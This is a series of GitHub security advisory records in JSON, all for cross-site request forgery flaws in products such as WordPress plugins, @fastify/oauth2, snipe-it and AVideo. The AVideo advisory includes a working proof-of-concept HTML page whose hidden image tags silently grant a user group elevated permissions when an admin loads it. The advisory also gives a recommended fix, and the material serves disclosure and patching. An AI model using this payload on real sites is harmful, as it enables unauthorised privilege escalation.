CWE-352

{
  "affected": [],
  "aliases": [
    "CVE-2025-57960"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in TravelMap Travel Map allows Cross Site Request Forgery. This issue affects Travel Map: from n/a through 1.0.3.",
  "id": "GHSA-g8rp-gmfv-h6m2",
  "modified": "2026-04-01T18:36:11Z",
  "published": "2025-09-22T21:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57960"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/travelmap-blog/vulnerability/wordpress-travel-map-plugin-1-0-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-13186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-11T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Anti CSRF mechanism was discovered missing in the Teradici Cloud Access Connector v31 and earlier in a specific web form, which allowed an attacker with knowledge of both a machineID and user GUID to modify data if a user clicked a malicious link.",
  "id": "GHSA-g8rv-4ccg-wc6m",
  "modified": "2022-05-24T17:41:53Z",
  "published": "2022-05-24T17:41:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13186"
    },
    {
      "type": "WEB",
      "url": "https://advisory.teradici.com/security-advisories/70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-3642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-16T06:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Newsletter Popup WordPress plugin through 1.2 does not have CSRF check when deleting subscriber, which could allow attackers to make logged in admins perform such action via a CSRF attack",
  "id": "GHSA-g8vg-m5vq-4hcq",
  "modified": "2025-03-27T18:30:40Z",
  "published": "2024-05-16T06:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3642"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/dc44d85f-afe8-4824-95b0-11b9abfb04d8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-4854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-22T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in L-04D firmware version V10a and V10b allows remote attackers to hijack the authentication of administrators to perform arbitrary operations via unspecified vectors.",
  "id": "GHSA-g8vq-x5xw-vgcm",
  "modified": "2022-05-17T02:43:13Z",
  "published": "2022-05-17T02:43:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4854"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN46351856/index.html"
    },
    {
      "type": "WEB",
      "url": "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000194"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/93278"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-36443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-03T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Cross Site Request Forgery vulnerability in imcat 5.4 allows remote attackers to escalate privilege via lack of token verification.",
  "id": "GHSA-g8wm-m7q9-jpjv",
  "modified": "2023-02-09T21:30:28Z",
  "published": "2023-02-03T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/peacexie/imcat/issues/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-05T21:36:56Z",
    "nvd_published_at": "2023-07-03T17:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAll versions of @fastify/oauth2 used a statically generated `state` parameter at startup time and were used across all requests for all users.\nThe purpose of the Oauth2 `state` parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user\u0027s session in some way that will allow the server to validate it.\n\n### Patches\n\nv7.2.0 changes the default behavior to store the `state` in a cookie with the `http-only` and `same-site=lax` attributes set. The state is now by default generated for every user.\n\nNote that this contains a breaking change in the `checkStateFunction` function, which now accepts the full `Request` object.\n\n### Workarounds\n\nThere are no known workarounds.\n\n### References\n\n* [Prevent Attacks and Redirect Users with OAuth 2.0 State Parameters](https://auth0.com/docs/secure/attack-protection/state-parameters)\n",
  "id": "GHSA-g8x5-p9qc-cf95",
  "modified": "2023-07-06T20:39:29Z",
  "published": "2023-07-05T21:36:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-oauth2/security/advisories/GHSA-g8x5-p9qc-cf95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-oauth2/commit/bff756b456cbb769080631af2beb85671ff4c79c"
    },
    {
      "type": "WEB",
      "url": "https://auth0.com/docs/secure/attack-protection/state-parameters"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-oauth2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-oauth2/releases/tag/v7.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@fastify/oauth2 vulnerable to Cross Site Request Forgery due to reused Oauth2 state"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:48:17Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `\u003cimg\u003e` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker\u0027s user group \u2014 escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array(\u0027users_groups_id\u0027,\u0027plugins_id\u0027,\u0027type\u0027,\u0027isEnabled\u0027);\nforeach ($intvalList as $value) {\n    if($_REQUEST[$value]===\u0027true\u0027){\n        $_REQUEST[$value] = 1;\n    }else{\n        $_REQUEST[$value] = intval($_REQUEST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_REQUEST[\u0027users_groups_id\u0027], $_REQUEST[\u0027plugins_id\u0027], $_REQUEST[\u0027type\u0027], $_REQUEST[\u0027isEnabled\u0027]);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 \u2014 there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis means the admin\u0027s session cookie is sent on cross-origin requests, including those initiated by `\u003cimg src=\"...\"\u003e` tags on attacker-controlled pages.\n\n**3. The codebase\u0027s own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `\u003cimg src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=10\u0026isEnabled=true\"\u003e`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin\u0027s `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin\u0027s session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInteresting Video\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eCheck out this video!\u003c/h1\u003e\n\u003c!-- Each img tag silently fires a GET request with admin\u0027s session cookie --\u003e\n\u003c!-- PERMISSION_FULLACCESSVIDEOS (type=10) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=10\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_USERS (type=20) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=20\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=70\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c!-- PERMISSION_CAN_LIVESTREAM (type=80) --\u003e\n\u003cimg src=\u0027https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2\u0026plugins_id=1\u0026type=80\u0026isEnabled=true\u0027 style=\u0027display:none\u0027\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `\u003cimg\u003e` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify \u2014 the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `\u003cimg\u003e` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `\u003cimg\u003e` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n\u003c?php\n\nheader(\u0027Content-Type: application/json\u0027);\nif (!isset($global[\u0027systemRootPath\u0027])) {\n    $configFile = \u0027../../videos/configuration.php\u0027;\n    if (file_exists($configFile)) {\n        require_once $configFile;\n    }\n}\nif(!User::isAdmin()){\n    forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {\n    die(json_encode(array(\u0027error\u0027 =\u003e \u0027POST method required\u0027)));\n}\nif (!isGlobalTokenValid()) {\n    die(json_encode(array(\u0027error\u0027 =\u003e \u0027Invalid CSRF token\u0027)));\n}\n\n$intvalList = array(\u0027users_groups_id\u0027,\u0027plugins_id\u0027,\u0027type\u0027,\u0027isEnabled\u0027);\nforeach ($intvalList as $value) {\n    if($_POST[$value]===\u0027true\u0027){\n        $_POST[$value] = 1;\n    }else{\n        $_POST[$value] = intval($_POST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_POST[\u0027users_groups_id\u0027], $_POST[\u0027plugins_id\u0027], $_POST[\u0027type\u0027], $_POST[\u0027isEnabled\u0027]);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: \u0027post\u0027` but must also send the `globalToken` parameter in its data payload.",
  "id": "GHSA-g8x9-7mgh-7cvj",
  "modified": "2026-03-25T17:48:17Z",
  "published": "2026-03-25T17:48:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33649"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3858"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-20T16:45:53Z",
    "nvd_published_at": "2021-10-19T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "snipe-it is vulnerable to Cross-Site Request Forgery (CSRF).",
  "id": "GHSA-g92x-8m54-p89v",
  "modified": "2021-10-22T13:56:56Z",
  "published": "2021-10-21T17:48:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snipe/snipe-it/commit/84c73aae5dcafa9529ceeeda6e8cdda5a42129c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/snipe/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snipe/snipe-it/releases/tag/v5.3.0"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/a2fac2eb-100d-45b1-9ac7-71847c2f2b6b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-Site Request Forgery in snipe-it"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-36577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in jizhicms v2.3.1. There is a CSRF vulnerability that can add a admin.",
  "id": "GHSA-g93j-x92j-2q3q",
  "modified": "2022-08-23T00:00:15Z",
  "published": "2022-08-20T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cherry-toto/jizhicms/issues/77"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-6635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-08-07T16:59:00Z",
    "severity": "HIGH"
  },
  "details": "Cross-site request forgery (CSRF) vulnerability in the wp_ajax_wp_compression_test function in wp-admin/includes/ajax-actions.php in WordPress before 4.5 allows remote attackers to hijack the authentication of administrators for requests that change the script compression option.",
  "id": "GHSA-g94h-w5p9-mvxc",
  "modified": "2022-05-17T00:27:23Z",
  "published": "2022-05-17T00:27:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WordPress/WordPress/commit/9b7a7754133c50b82bd9d976fb5b24094f658aab"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8475"
    },
    {
      "type": "WEB",
      "url": "http://codex.wordpress.org/Version_4.5"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}